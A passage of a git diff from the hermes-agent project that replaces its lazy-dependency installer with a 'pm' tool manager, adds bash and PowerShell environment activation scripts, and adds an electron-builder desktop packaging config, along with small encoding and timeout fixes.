"nousresearch/hermes-agent", "version": project["version"], "revision": os.environ.get("HERMES_GIT_SHA") or None}, sort_keys=True, separators=(",", ":")) + "\n", encoding="utf-8"); marker.chmod(0o444)' + python3 -c 'import json, pathlib, tomllib; project = tomllib.loads(pathlib.Path("/opt/hermes/pyproject.toml").read_text(encoding="utf-8"))["project"]; stamp = json.loads(pathlib.Path("/opt/hermes/install-stamp.json").read_text(encoding="utf-8")); commit = stamp.get("commit"); revision = commit if commit and set(commit) != {"0"} else None; marker = pathlib.Path("/etc/hermes/image-provenance.json"); marker.write_text(json.dumps({"schema": 1, "deployment_kind": "image", "manager": "docker", "image": "nousresearch/hermes-agent", "version": project["version"], "revision": revision}, sort_keys=True, separators=(",", ":")) + "\n", encoding="utf-8"); marker.chmod(0o444)' # ---------- s6-overlay service wiring ---------- # Static services declared at build time: main-hermes + dashboard. @@ -386,19 +421,9 @@ ENV HERMES_TUI_DIR=/opt/hermes/ui-tui ENV HERMES_HOME=/opt/data ENV HERMES_WRITE_SAFE_ROOT=/opt/data ENV HERMES_DISABLE_LAZY_INSTALLS=1 -# The published image seals /opt/hermes (root-owned, read-only) so a runtime -# lazy install can't mutate the agent's own venv and brick it. But opt-in -# backends (Firecrawl web search, Exa, Feishu, …) keep their SDKs in -# tools/lazy_deps.py — deliberately NOT baked into [all] (see pyproject.toml -# policy 2026-05-12: one quarantined release must not break every install). -# Redirect those lazy installs to a writable dir on the durable data volume. -# lazy_deps appends this dir to the END of sys.path, so a package installed -# here can only ADD modules — it can never shadow or downgrade a core module, -# so the sealed-venv guarantee holds even with installs re-enabled. The dir -# is seeded + chowned to the hermes user by docker/stage2-hook.sh and lives -# on the /opt/data volume, so it persists across container recreates / image -# updates (an ABI stamp invalidates it if a rebuild bumps the interpreter). -ENV HERMES_LAZY_INSTALL_TARGET=/opt/data/lazy-packages +# Lazy installs are fully disabled in the published image (see +# HERMES_DISABLE_LAZY_INSTALLS above): the venv is sealed and opt-in backend +# SDKs are not installed at runtime. # `docker exec` privilege-drop shim. When operators run # `docker exec hermes ...` they default to root, and any file the diff --git a/activate b/activate new file mode 100644 index 0000000000..5e8dd5b691 --- /dev/null +++ b/activate @@ -0,0 +1,155 @@ +#!/bin/bash +# ============================================================================ +# venv-style activation for the Hermes dev environment (pm-managed tools). +# +# source ./activate (bash / zsh, repo root) +# .\activate.ps1 (PowerShell) +# +# Emits the composed pm env (PATH + tool vars) into the CURRENT shell, with +# save/restore: `deactivate` undoes exactly what activation changed. +# +# Requires a completed `./setup-hermes.sh` — it never invokes uv. It runs +# the pm store's pinned python (fallback: the repo venv) to emit the env +# JSON, then exports it here. +# ============================================================================ +# Guard against double-sourcing: venv activate precedent (re-activating is a +# no-op re-save; we keep it idempotent by deactivating first). +if [ -n "${__HERMES_ACTIVATED:-}" ]; then + deactivate +fi + +_HERMES_REPO="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" + +# --- target detection (same rules as pm.sh: msys on Windows must report the +# machine's truth from the registry, not the emulated shell's) --- +_hermes_os="$(uname -s)" +case "$_hermes_os" in + Linux) _hermes_os=linux ;; + Darwin) _hermes_os=darwin ;; + MINGW*|MSYS*|CYGWIN*) _hermes_os=win32 ;; + *) echo "activate: unsupported OS $(uname -s)" >&2; return 1 2>/dev/null || exit 1 ;; +esac +if [ "$_hermes_os" = win32 ]; then + _hermes_winarch="$(reg.exe query 'HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' /v PROCESSOR_ARCHITECTURE 2>/dev/null | tr -d ' +' | awk '/PROCESSOR_ARCHITECTURE/ {print $NF}')" + # PROCESSOR_ARCHITECTURE reports the EMULATED arch inside an x64-on- + # arm64 shell, and uname -m does too. The registry is the machine's + # truth; when reg.exe is unreachable, uname -s's release token (e.g. + # MINGW64_NT-10.0-28000-ARM64) still names the real machine arch. + if [ -z "$_hermes_winarch" ]; then + case "$(uname -s)" in + *ARM64) _hermes_winarch=ARM64 ;; + *AMD64) _hermes_winarch=AMD64 ;; + esac + fi + case "${_hermes_winarch:-}" in + ARM64) _hermes_arch=arm64 ;; + AMD64) _hermes_arch=x64 ;; + *) : ;; # probe unavailable — the store probe below decides + esac +fi +if [ -z "${_hermes_arch:-}" ] && [ "$_hermes_os" != win32 ]; then + case "$(uname -m)" in + arm64|aarch64) _hermes_arch=arm64 ;; + x86_64|amd64) _hermes_arch=x64 ;; + *) : ;; # unknown — the store probe below decides + esac +fi +# Resolve the pm store root here so the arch probe below can consult it. +_hermes_store="${HERMES_RUNTIME_DIR:-$HOME/.hermes/tools}" +if [ -n "${_hermes_arch:-}" ]; then + _hermes_target="$_hermes_os-$_hermes_arch" +else + # Registry + env both unavailable (blanked PATH): ask the store which + # target it actually holds instead of guessing an arch. First + # python--- entry wins. + _hermes_target="" + for _hermes_entry in "$_hermes_store"/python-*; do + [ -d "$_hermes_entry" ] || continue + case "${_hermes_entry##*/}" in + python-*-linux-*|python-*-darwin-*|python-*-win32-*) + _hermes_target="${_hermes_entry##*python-}" + _hermes_target="${_hermes_target#*-}" + break + ;; + esac + done + if [ -z "$_hermes_target" ]; then + echo "activate: cannot determine target arch and the store holds no python entry — run ./setup-hermes.sh first" >&2 + unset _hermes_repo _hermes_os _hermes_arch _hermes_target _hermes_store _hermes_py + return 1 2>/dev/null || exit 1 + fi +fi +_hermes_py="" +for _hermes_entry in "$_hermes_store"/python-*-"$_hermes_target"; do + if [ -x "$_hermes_entry/bin/python" ]; then + _hermes_py="$_hermes_entry/bin/python" + elif [ -x "$_hermes_entry/bin/python.exe" ]; then + _hermes_py="$_hermes_entry/bin/python.exe" + fi + [ -n "$_hermes_py" ] && break +done +if [ -z "$_hermes_py" ]; then + for _hermes_venvpy in "$_hermes_repo/venv/bin/python" "$_hermes_repo/venv/bin/python.exe" \ + "$_hermes_repo/venv/Scripts/python.exe"; do + [ -x "$_hermes_venvpy" ] && { _hermes_py="$_hermes_venvpy"; break; } + done +fi +if [ -z "$_hermes_py" ]; then + echo "activate: no pm python found — run ./setup-hermes.sh first" >&2 + unset _hermes_repo _hermes_os _hermes_arch _hermes_target _hermes_store _hermes_py + return 1 2>/dev/null || exit 1 +fi + +# --- emit export lines from `pm env` --- +_hermes_json="$(PYTHONPATH="$_hermes_repo${PYTHONPATH:+:$PYTHONPATH}" "$_hermes_py" -m pm.cli env 2>/dev/null)" +if [ -z "$_hermes_json" ] || [ "${_hermes_json#*{}" = "$_hermes_json" ]; then + echo "activate: could not read pm env (run ./setup-hermes.sh first)" >&2 + unset _hermes_repo _hermes_os _hermes_arch _hermes_target _hermes_store _hermes_py _hermes_json + return 1 2>/dev/null || exit 1 +fi + +_hermes_keys="$(printf '%s' "$_hermes_json" | "$_hermes_py" -c 'import json,sys; print(" ".join(json.load(sys.stdin)))' \ + | tr ' ' '\n' | grep -E '^[A-Za-z_][A-Za-z0-9_]*$' | tr '\n' ' ')" +[ -n "$_hermes_keys" ] || _hermes_keys="PATH" + +# --- snapshot what we are about to change (deactivate restores this) --- +__HERMES_ACTIVATED=1 +__HERMES_SAVED_PATH="$PATH" +for _hermes_k in $_hermes_keys; do + eval "__HERMES_SAVED_$_hermes_k=\"\${$_hermes_k+set}\"" + eval "__HERMES_PRIOR_$_hermes_k=\${$_hermes_k-__HERMES_UNSET__}" +done + +eval "$(printf '%s' "$_hermes_json" | "$_hermes_py" -c ' +import json, sys, shlex, re +for k, v in json.load(sys.stdin).items(): + # Windows carries names like ProgramFiles(ARM) that are not valid + # bash identifiers — skip them (they pass through untouched). + if not re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*", k): + continue + print("export %s=%s" % (k, shlex.quote(str(v))))')" + +deactivate() { + export PATH="$__HERMES_SAVED_PATH" + for _hermes_k in $__HERMES_KEY_LIST; do + eval "_hermes_was=\"\$__HERMES_SAVED_$_hermes_k\"" + eval "_hermes_old=\"\$__HERMES_PRIOR_$_hermes_k\"" + if [ "$_hermes_was" != "set" ]; then + unset "$_hermes_k" + else + export "$_hermes_k=$_hermes_old" + fi + unset "__HERMES_SAVED_$_hermes_k" "__HERMES_PRIOR_$_hermes_k" + done + unset __HERMES_SAVED_PATH __HERMES_KEY_LIST __HERMES_ACTIVATED + unset -f deactivate + unset _hermes_k _hermes_was _hermes_old +} + +# remember the key list for deactivate (kept out of the loop vars above) +__HERMES_KEY_LIST="$_hermes_keys" + +unset _hermes_repo _hermes_os _hermes_arch _hermes_target _hermes_store \ + _hermes_py _hermes_json _hermes_keys _hermes_k _hermes_entry _hermes_venvpy \ + _hermes_winarch diff --git a/activate.ps1 b/activate.ps1 new file mode 100644 index 0000000000..82bfdfb300 --- /dev/null +++ b/activate.ps1 @@ -0,0 +1,75 @@ +# ============================================================================ +# venv-style activation for the Hermes dev environment (pm-managed tools). +# +# .\activate.ps1 (repo root; if script execution is disabled: +# powershell -ExecutionPolicy Bypass -File .\activate.ps1, or set +# Set-ExecutionPolicy RemoteSigned -Scope CurrentUser once) +# +# Emits the composed pm env (PATH + tool vars) into the CURRENT session, with +# save/restore: `deactivate` undoes exactly what activation changed. +# +# Requires a completed .\setup-hermes.ps1 — it never invokes uv. It runs the +# pm store's pinned python (fallback: the repo venv) to emit the env JSON. +# ============================================================================ +$ErrorActionPreference = 'Stop' + +# Guard against double-sourcing: re-activating deactivates first. +if (Test-Path function:deactivate) { deactivate } + +$repo = $PSScriptRoot +$machineArch = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment').PROCESSOR_ARCHITECTURE +$arch = if ($machineArch -eq 'ARM64') { 'arm64' } else { 'x64' } +$target = "win32-$arch" + +$store = if ($env:HERMES_RUNTIME_DIR) { $env:HERMES_RUNTIME_DIR } else { Join-Path $HOME '.hermes/tools' } + +$py = $null +$entry = Get-ChildItem -Path $store -Directory -Filter "python-*-$target" -ErrorAction SilentlyContinue | + Sort-Object Name | Select-Object -Last 1 +if ($entry -and (Test-Path (Join-Path $entry.FullName 'bin/python.exe'))) { + $py = Join-Path $entry.FullName 'bin/python.exe' +} +if (-not $py) { + foreach ($candidate in @( + (Join-Path $repo 'venv/Scripts/python.exe'), + (Join-Path $repo 'venv/bin/python.exe'))) { + if (Test-Path $candidate) { $py = $candidate; break } + } +} +if (-not $py) { + Write-Error 'activate: no pm python found - run .\setup-hermes.ps1 first' +} + +$envJSON = (& $py -m pm.cli env 2>$null) -join "`n" +if (-not $envJSON) { + Write-Error 'activate: could not read pm env - run .\setup-hermes.ps1 first' +} +$composed = $envJSON | ConvertFrom-Json + +# --- snapshot what we are about to change (deactivate restores this) --- +$global:_hermesKeys = @($composed.PSObject.Properties.Name) +$global:_hermesSaved = @{} +foreach ($k in $global:_hermesKeys) { + $global:_hermesSaved[$k] = [pscustomobject]@{ + WasSet = (Test-Path "env:$k") + Value = [Environment]::GetEnvironmentVariable($k) + } +} + +foreach ($prop in $composed.PSObject.Properties) { + Set-Item -Path "env:$($prop.Name)" -Value ([string]$prop.Value) +} + +function global:deactivate { + foreach ($k in $global:_hermesKeys) { + $saved = $global:_hermesSaved[$k] + if ($saved.WasSet) { + Set-Item -Path "env:$k" -Value $saved.Value + } else { + Remove-Item -Path "env:$k" -ErrorAction SilentlyContinue + } + } + $global:_hermesKeys = $null + $global:_hermesSaved = $null + Remove-Item function:deactivate +} diff --git a/agent/anthropic_adapter.py b/agent/anthropic_adapter.py index ce311fa1e3..c9ba4b6f44 100644 --- a/agent/anthropic_adapter.py +++ b/agent/anthropic_adapter.py @@ -58,12 +58,13 @@ def _get_anthropic_sdk(): global _anthropic_sdk if _anthropic_sdk is ...: try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("provider.anthropic", prompt=False) + from pm import ensure_import as _ensure_import + _ensure_import("anthropic") except ImportError: pass except Exception: - # FeatureUnavailable — fall through to ImportError handling below + # InstallError (lazy install disabled/declined/failed) — fall + # through to ImportError handling below pass try: import anthropic as _sdk @@ -1089,7 +1090,7 @@ def _read_claude_code_credentials_from_file() -> Optional[Dict[str, Any]]: if not cred_path.exists(): return None try: - data = json.loads(cred_path.read_text(encoding="utf-8")) + data = json.loads(cred_path.read_text(encoding="utf-8-sig")) except (json.JSONDecodeError, OSError, IOError) as e: logger.debug("Failed to read ~/.claude/.credentials.json: %s", e) return None @@ -1299,7 +1300,7 @@ def _write_claude_code_credentials( # Read existing file to preserve other fields existing = {} if cred_path.exists(): - existing = json.loads(cred_path.read_text(encoding="utf-8")) + existing = json.loads(cred_path.read_text(encoding="utf-8-sig")) oauth_data: Dict[str, Any] = { "accessToken": access_token, @@ -1704,7 +1705,7 @@ def read_hermes_oauth_credentials() -> Optional[Dict[str, Any]]: oauth_file = _get_hermes_oauth_file() if oauth_file.exists(): try: - data = json.loads(oauth_file.read_text(encoding="utf-8")) + data = json.loads(oauth_file.read_text(encoding="utf-8-sig")) if data.get("accessToken"): return data except (json.JSONDecodeError, OSError, IOError) as e: diff --git a/agent/azure_identity_adapter.py b/agent/azure_identity_adapter.py index dd0f62ab97..7bd9d6c8d7 100644 --- a/agent/azure_identity_adapter.py +++ b/agent/azure_identity_adapter.py @@ -54,7 +54,7 @@ SCOPE_AI_AZURE_DEFAULT = "https://ai.azure.com/.default" # Lazy SDK import — only loaded when the Entra path is actually used. # --------------------------------------------------------------------------- -_AZURE_IDENTITY_FEATURE = "provider.azure_identity" +_AZURE_IDENTITY_FEATURE = "azure-identity" def has_azure_identity_installed() -> bool: @@ -80,7 +80,7 @@ def _require_azure_identity(): return _ai except ImportError: try: - from tools.lazy_deps import ensure, FeatureUnavailable + from pm import InstallError, ensure_import except ImportError as exc: raise ImportError( "The 'azure-identity' package is required for Azure AI " @@ -89,8 +89,8 @@ def _require_azure_identity(): ) from exc try: - ensure(_AZURE_IDENTITY_FEATURE, prompt=False) - except FeatureUnavailable as exc: + ensure_import(_AZURE_IDENTITY_FEATURE) + except InstallError as exc: raise ImportError( "The 'azure-identity' package is required for Azure AI " "Foundry Entra ID authentication. " + str(exc) diff --git a/agent/bedrock_adapter.py b/agent/bedrock_adapter.py index 5e2c082080..81c1d779f6 100644 --- a/agent/bedrock_adapter.py +++ b/agent/bedrock_adapter.py @@ -41,15 +41,15 @@ logger = logging.getLogger(__name__) # --------------------------------------------------------------------------- # Ensure boto3/botocore are installed before any code in this module runs. -# Upstream removed boto3 from [all] extras (PRs #24220, #24515); lazy_deps +# Upstream removed boto3 from [all] extras (PRs #24220, #24515); pm # handles on-demand installation so the Bedrock provider still works in the # EKS deployment without baking boto3 into the base image. # --------------------------------------------------------------------------- try: - from tools.lazy_deps import ensure - ensure("provider.bedrock", prompt=False) + from pm import ensure_import + ensure_import("bedrock") except Exception: - pass # lazy_deps unavailable or install failed — let downstream imports surface the real error + pass # pm unavailable or install failed — let downstream imports surface the real error # --------------------------------------------------------------------------- diff --git a/agent/deadline.py b/agent/deadline.py index a2c5cbfe05..ce3736d5eb 100644 --- a/agent/deadline.py +++ b/agent/deadline.py @@ -92,9 +92,17 @@ __all__ = [ # ``Thread.join(timeout=...)`` deadlines to an absolute timestamp; very large # relative timeouts overflow ``time_t`` on macOS and raise # ``OverflowError: timestamp out of range for platform time_t`` (#83220). -# One year is semantically "unbounded" for every wait in this codebase while -# staying far below any platform conversion limit. -MAX_SAFE_TIMEOUT_S = 31_536_000.0 # 365 days +# On Windows the binding constraint is narrower: the underlying +# ``WaitForSingleObject`` takes a DWORD *milliseconds* argument, so any +# wait above ~49.7 days (0xFFFFFFFF ms) raises OverflowError rather than +# waiting (verified live: 4294967.0s ok, 4294967.3s overflows). One year +# is the semantic "unbounded" on platforms that can express it; Windows +# takes the DWORD-ms cap, which is still semantically "unbounded" for +# every wait in this codebase. +_WINDOWS_MAX_WAIT_S = (0xFFFFFFFF - 1000) / 1000.0 # DWORD ms, minus a 1s rounding guard +MAX_SAFE_TIMEOUT_S = ( + _WINDOWS_MAX_WAIT_S if sys.platform == "win32" else 31_536_000.0 +) # 365 days off-Windows # Grace period after a deadline fires before concluding the event loop thread # is blocked in a synchronous call and dumping stacks (family A diagnostics). diff --git a/agent/lsp/servers.py b/agent/lsp/servers.py index fc2a0b2616..4612d18cf9 100644 --- a/agent/lsp/servers.py +++ b/agent/lsp/servers.py @@ -261,11 +261,37 @@ def _spawn_pyright(root: str, ctx: ServerContext) -> Optional[SpawnSpec]: ) +def _pm_store_python() -> Optional[str]: + """The pm-provisioned interpreter (facts + store layout), or None. + + Under no-boot-through-venv the running process is the store python and + ``VIRTUAL_ENV`` is unset, so the old ambient-env probe had nothing to + offer; pm's ``python`` fact names the store entry that owns the + runtime. It takes the precedence the ambient ``VIRTUAL_ENV`` probe used + to have; project-local candidates follow.""" + try: + from pm import paths + from pm.lock import Facts + except Exception: + return None + try: + fact = Facts(paths.facts_path()).get("python") + if not fact or "entry" not in fact: + return None + entry = paths.store_root() / fact["entry"] + exe = entry / ("python.exe" if os.name == "nt" else "bin/python3") + return str(exe) if exe.exists() else None + except Exception: + return None + + def _detect_python(root: str) -> Optional[str]: - candidates = [] - if os.environ.get("VIRTUAL_ENV"): - candidates.append(os.environ["VIRTUAL_ENV"]) - candidates.extend([os.path.join(root, ".venv"), os.path.join(root, "venv")]) + # pm's store interpreter resolves to a full exe path (its layout is not + # a venv), so it is checked directly rather than through the v/sub probe. + pm_python = _pm_store_python() + if pm_python: + return pm_python + candidates = [os.path.join(root, ".venv"), os.path.join(root, "venv")] for v in candidates: for sub in ("bin/python", "bin/python3", "Scripts/python.exe"): p = os.path.join(v, sub) diff --git a/agent/model_metadata.py b/agent/model_metadata.py index d56e00b454..e24cfb892e 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -278,7 +278,7 @@ def _local_probe_disk_cache_path() -> Path: def _load_local_probe_disk_cache() -> Dict[str, Any]: try: - with _local_probe_disk_cache_path().open("r", encoding="utf-8") as f: + with _local_probe_disk_cache_path().open("r", encoding="utf-8-sig") as f: data = json.load(f) return data if isinstance(data, dict) else {} except Exception: @@ -344,7 +344,7 @@ def _load_model_metadata_disk_cache() -> Dict[str, Dict[str, Any]]: """Load processed OpenRouter metadata cache from disk.""" try: cache_path = _get_model_metadata_cache_path() - with cache_path.open("r", encoding="utf-8") as f: + with cache_path.open("r", encoding="utf-8-sig") as f: data = json.load(f) if not isinstance(data, dict): return {} @@ -1558,7 +1558,7 @@ def _load_context_cache() -> Dict[str, int]: if not path.exists(): return {} try: - with open(path, encoding="utf-8") as f: + with open(path, encoding="utf-8-sig") as f: data = yaml.safe_load(f) or {} return data.get("context_lengths") or {} except Exception as e: diff --git a/agent/monitoring/gateway_health_export.py b/agent/monitoring/gateway_health_export.py index 0a377c99ab..69d7b9e781 100644 --- a/agent/monitoring/gateway_health_export.py +++ b/agent/monitoring/gateway_health_export.py @@ -181,11 +181,11 @@ def _enabled(config: Dict[str, Any]) -> bool: return bool(gh.get("enabled") and otlp.get("enabled") and otlp.get("endpoint")) -def _require_metrics_sdk(*, auto_install: bool = True, prompt: bool = False) -> Dict[str, Any]: +def _require_metrics_sdk(*, auto_install: bool = True) -> Dict[str, Any]: if auto_install: try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("export.otlp", prompt=prompt) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("otlp") except Exception: pass try: @@ -594,7 +594,7 @@ def start_gateway_health_export(config: Dict[str, Any]) -> GatewayHealthExportRu if gh.get("metrics_enabled", True) or gh.get("diagnostic_events_enabled", True): try: - sdk = _require_metrics_sdk(prompt=False) + sdk = _require_metrics_sdk() except Exception: logger.warning( "monitoring.gateway_health_export.enabled but OTLP SDK is unavailable; " diff --git a/agent/trace_upload.py b/agent/trace_upload.py index d2c97bdc7f..d9de592a18 100644 --- a/agent/trace_upload.py +++ b/agent/trace_upload.py @@ -277,11 +277,11 @@ def _do_upload( Returns a user-facing status string. Never raises. """ try: - from tools import lazy_deps - lazy_deps.ensure("tool.trace_upload", prompt=False) + import pm + pm.ensure_import("trace-upload") except Exception: - # lazy-install unavailable/declined — fall through to the import, - # which surfaces the install hint below if the package is missing. + # lazy-install unavailable — fall through to the import, which + # surfaces the install hint below if the package is missing. pass try: from huggingface_hub import HfApi diff --git a/agent/vertex_adapter.py b/agent/vertex_adapter.py index 190c4beb35..f212cd97b0 100644 --- a/agent/vertex_adapter.py +++ b/agent/vertex_adapter.py @@ -24,14 +24,14 @@ from typing import Optional, Tuple from agent.secret_scope import get_secret as _get_secret, is_multiplex_active # Ensure google-auth is installed before importing. The [vertex] extra is no -# longer in [all] per the lazy-install policy added 2026-05-12 — lazy_deps +# longer in [all] per the lazy-install policy added 2026-05-12 — pm # handles on-demand installation so the Vertex provider still works for users # who installed plain `hermes-agent` and only later selected a Gemini model. try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("provider.vertex", prompt=False) + from pm import ensure_import as _ensure_import + _ensure_import("vertex") except Exception: - pass # lazy_deps unavailable or install failed — fall through to the real ImportError below + pass # pm unavailable or install failed — fall through to the real ImportError below try: import google.auth diff --git a/apps/desktop/electron-builder.config.cjs b/apps/desktop/electron-builder.config.cjs new file mode 100644 index 0000000000..3a101b7047 --- /dev/null +++ b/apps/desktop/electron-builder.config.cjs @@ -0,0 +1,254 @@ +// THE electron-builder configuration — the whole thing, one file. There is +// no "build" field in package.json: run-electron-builder.mjs always passes +// --config for this file, so a stray package.json field would be silently +// ignored anyway, and splitting the config across JSON + this overlay is +// how the two halves drift. +// +// A .cjs module (not JSON) so the variant is decided at require time: +// HERMES_DESKTOP_VARIANT=light builds "Hermes Light". The whole config +// derives from that one flag. +// @ts-check +'use strict' + +const fs = require('node:fs') +const path = require('node:path') + +const { + light, + store, + storeMsix, + displayName, + appId, + appNamePascal, + channel, + msixAppIdWithOrg +} = require('./product-identity.cjs') + +// The out-of-store MSIX publisher (ATS cert subject) — single source, shared +// with the .appinstaller generator so the manifest and the App Installer can +// never drift (see scripts/msix-shared.mjs). +const { OUT_OF_STORE_PUBLISHER } = require('../../scripts/msix-shared.mjs') + +/** @typedef {import("app-builder-lib").Configuration} Configuration */ + +const [owner, repo] = (process.env.GITHUB_REPOSITORY || 'NousResearch/hermes-agent').split('/') +if (!owner || !repo) { + throw new Error(`invalid GITHUB_REPOSITORY ${process.env.GITHUB_REPOSITORY}`) +} +const electronVersion = require('./package.json').devDependencies.electron +if (!/^\d+\.\d+\.\d+$/.test(electronVersion)) { + throw new Error(`invalid electron version ${electronVersion} in package.json`) +} + +/** @type {Configuration} */ +module.exports = { + electronVersion, + appId, + productName: displayName, + executableName: displayName, + protocols: [ + { + name: `${displayName} Protocol`, + schemes: ['hermes'] + } + ], + // A store build is archived, never served to a feed — prefix its artifact + // so it can't collide with the out-of-store MSIX of the same tag/arch, and + // the release pipeline can keep the two apart. + artifactName: `${store ? 'Store-' : ''}${appNamePascal}-\${version}-\${os}-\${arch}.\${ext}`, + icon: 'assets/icon', + // The electron-updater feed. CI builds set CLOUDFLARE_R2_PUBLIC_URL (the R2 + // public bucket / custom domain) and publish there — the feed yml, blockmaps + // and installers all live in the same flat R2 bucket, and electron-updater + // resolves the yml's relative artifact paths against it. Builds without the + // var (local, or a fork without the R2 vars) keep the github provider, which + // is exactly today's behavior. The store build has no feed at all (the Store + // owns its distribution and updates). + publish: store + ? null + : [ + process.env.CLOUDFLARE_R2_PUBLIC_URL + ? { provider: 'generic', url: process.env.CLOUDFLARE_R2_PUBLIC_URL.replace(/\/+$/, ''), channel } + : { provider: 'github', owner, repo, channel } + ], + extraMetadata: { + name: appNamePascal, + desktopName: appId + }, + directories: { + output: 'release' + }, + files: ['dist/**', 'assets/**', 'public/**', 'package.json'], + beforeBuild: 'scripts/before-build.mjs', + beforePack: 'scripts/before-pack.mjs', + afterPack: 'scripts/after-pack.mjs', + ...(process.platform === 'darwin' ? { afterSign: 'scripts/notarize.mjs' } : {}), + extraResources: [ + { + from: 'build/install-stamp.json', + to: 'install-stamp.json' + }, + { + from: 'build/agent-payload', + to: 'agent-payload' + }, + { + from: 'assets/icon.ico', + to: 'icon.ico' + } + ], + asar: { + unpack: ['**/*.node', '**/prebuilds/**', 'dist/**'] + }, + mac: { + category: 'public.app-category.developer-tools', + extendInfo: { + CFBundleDisplayName: displayName, + CFBundleExecutable: displayName, + CFBundleName: displayName, + LSRequiresNativeExecution: true, + NSAudioCaptureUsageDescription: `${displayName} uses audio capture for voice conversations.`, + NSCameraUsageDescription: `${displayName} uses the camera when a plugin or feature you enable requests it.`, + NSMicrophoneUsageDescription: `${displayName} uses the microphone for voice input and voice conversations.`, + NSCalendarsUsageDescription: `${displayName} needs access to Calendar to provide requested meeting and scheduling support.`, + NSCalendarsFullAccessUsageDescription: `${displayName} needs full access to Calendar to read and manage events when explicitly requested.`, + NSRemindersUsageDescription: `${displayName} needs access to Reminders to provide requested personal-assistant and scheduling support.`, + NSRemindersFullAccessUsageDescription: `${displayName} needs full access to Reminders to read and manage reminders when explicitly requested.`, + NSScreenCaptureUsageDescription: `${displayName} captures the screen when you ask the agent to screenshot or record it.`, + NSLocalNetworkUsageDescription: `${displayName} connects to devices on your local network when a plugin or feature you enable requests it.`, + NSAppleMusicUsageDescription: `${displayName} accesses your music library when a plugin or feature you enable requests it.` + }, + target: ['dmg', 'zip'], + sign: { + entitlements: 'electron/entitlements.mac.plist', + entitlementsInherit: 'electron/entitlements.mac.inherit.plist', + hardenedRuntime: true, + ignore: (/** @type {string} */ file) => { + try { + if (fs.lstatSync(file).isDirectory()) { + return false + } + return !isMachO(file) + } catch { + return true + } + } + } + }, + dmg: { + title: `Install ${displayName}`, + backgroundColor: '#f5f5f7', + iconSize: 96, + window: { + width: 560, + height: 360 + }, + contents: [ + { + x: 160, + y: 170, + type: 'file' + }, + { + x: 400, + y: 170, + type: 'link', + path: '/Applications' + } + ] + }, + win: { + legalTrademarks: displayName, + target: ['msix'], + ...windowsSigning() + }, + msix: { + // A store build uses the Partner Center packaging identity (the Store + // re-signs + rewrites the publisher on submission); everything else uses + // the out-of-store ATS-cert identity. + identityName: store ? storeMsix.identityName : msixAppIdWithOrg, + applicationId: appNamePascal, + displayName, + publisher: store ? storeMsix.publisher : OUT_OF_STORE_PUBLISHER, + publisherDisplayName: store ? storeMsix.publisherDisplayName : 'Nous Research', + // Nightly MSIX versions are `X.Y.Z.` (see + // scripts/msix-shared.mjs). setBuildNumber makes getVersionInWeirdWindowsForm + // use the BUILD_NUMBER env (4th component) instead of hardcoding ".0" — a + // stable build sets no BUILD_NUMBER and stays X.Y.Z.0, a nightly build sets + // it via build-bundled-desktop.mjs so App Installer updates over equal + // nightly-over-nightly versions instead of refusing them. + setBuildNumber: true, + // Floor Windows 11 22H2. Below build 18307 the manifest schema caps + // AppExtension Name at 39 chars and Microsoft's own + // "com.microsoft.windows.copilotkeyprovider" is 40 (makeappx + // 0x80080204 — A/B-verified against the 26100 kit; 18307 exactly + // still failed on it, 22621 passes), and 22621 is the documented + // Copilot hardware key floor anyway. + minVersion: '10.0.22621.0', + maxVersionTested: '10.0.26100.0', + // Static path: the file itself is written by scripts/before-build.mjs at + // build time (see the comment on the hook) — never at config require + // time, so typecheck/test imports don't touch the filesystem. + customExtensionsPath: 'build/msix-extensions.xml', + customManifestPath: 'assets/msix-manifest.xml', + showNameOnTiles: true + }, + linux: { + category: 'Development', + maintainer: 'Nous Research ', + synopsis: light + ? 'Remote-only desktop client for Hermes Agent.' + : 'Native desktop shell for Hermes Agent.', + target: ['AppImage'] + } +} + +// MSIX build-time staging (build/appx icons + build/msix-extensions.xml) +// lives in scripts/before-build.mjs — an electron-builder lifecycle hook — +// NOT here at require time, so importing this config for typecheck/tests +// never writes to the filesystem. + +// Azure Trusted Signing. The hook signs the .msix package itself and the +// product exe (after electron-builder's rcedit — the batch in afterPack runs +// too early for the exe); every other payload binary is batch-signed in +// afterPack via scripts/batch-sign-binaries.mjs, which this hook acknowledges +// with `true` so electron-builder never re-signs one-by-one. The package +// signature is all Windows install validation checks; inner Authenticode +// covers SmartScreen/WDAC tree scans. See batch-sign-binaries.mjs for the +// ordering contract. +const MACHO_MAGICS = new Set([ + 0xfeedface, + 0xcefaedfe, + 0xfeedfacf, + 0xcffaedfe, + 0xcafebabe, + 0xbebafeca +]) + +/** @param {string} file */ +function isMachO(file) { + const buf = Buffer.alloc(4) + const fd = fs.openSync(file, 'r') + try { + if (fs.readSync(fd, buf, 0, 4, 0) !== 4) { + return false + } + } finally { + fs.closeSync(fd) + } + return MACHO_MAGICS.has(buf.readUInt32BE(0)) +} + +function windowsSigning() { + if (!process.env.AZURE_SIGN_ENDPOINT || !process.env.AZURE_CLIENT_ID) { + return {} + } + return { + sign: { + type: 'signtool', + sign: './scripts/batch-sign-binaries.mjs', + signingHashAlgorithms: ['sha256'], + publisherName: process.env.AZURE_SIGN_PUBLISHER + } + } +} diff --git a/apps/desktop/electron/backend-env.test.ts b/apps/desktop/electron/backend-env.test.ts index 986f164f9e..61fa8b6798 100644 --- a/apps/desktop/electron/backend-env.test.ts +++ b/apps/desktop/electron/backend-env.test.ts @@ -6,142 +6,61 @@ import { test } from 'vitest' import { appendUniquePathEntries, buildDesktopBackendEnv, - buildDesktopBackendPath, - hermesManagedNodePathEntries, normalizeHermesHomeRoot, pathEnvKey, POSIX_SANE_PATH_ENTRIES } from './backend-env' -test('desktop backend PATH adds Hermes-managed bins and missing POSIX sane entries', () => { - const result = buildDesktopBackendPath({ - hermesHome: '/Users/test/.hermes', - venvRoot: '/Users/test/.hermes/hermes-agent/venv', - currentPath: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin', - platform: 'darwin', - pathModule: path.posix +test('backend env scrubs PYTHONPATH and PYTHONHOME', () => { + const env = buildDesktopBackendEnv({ + 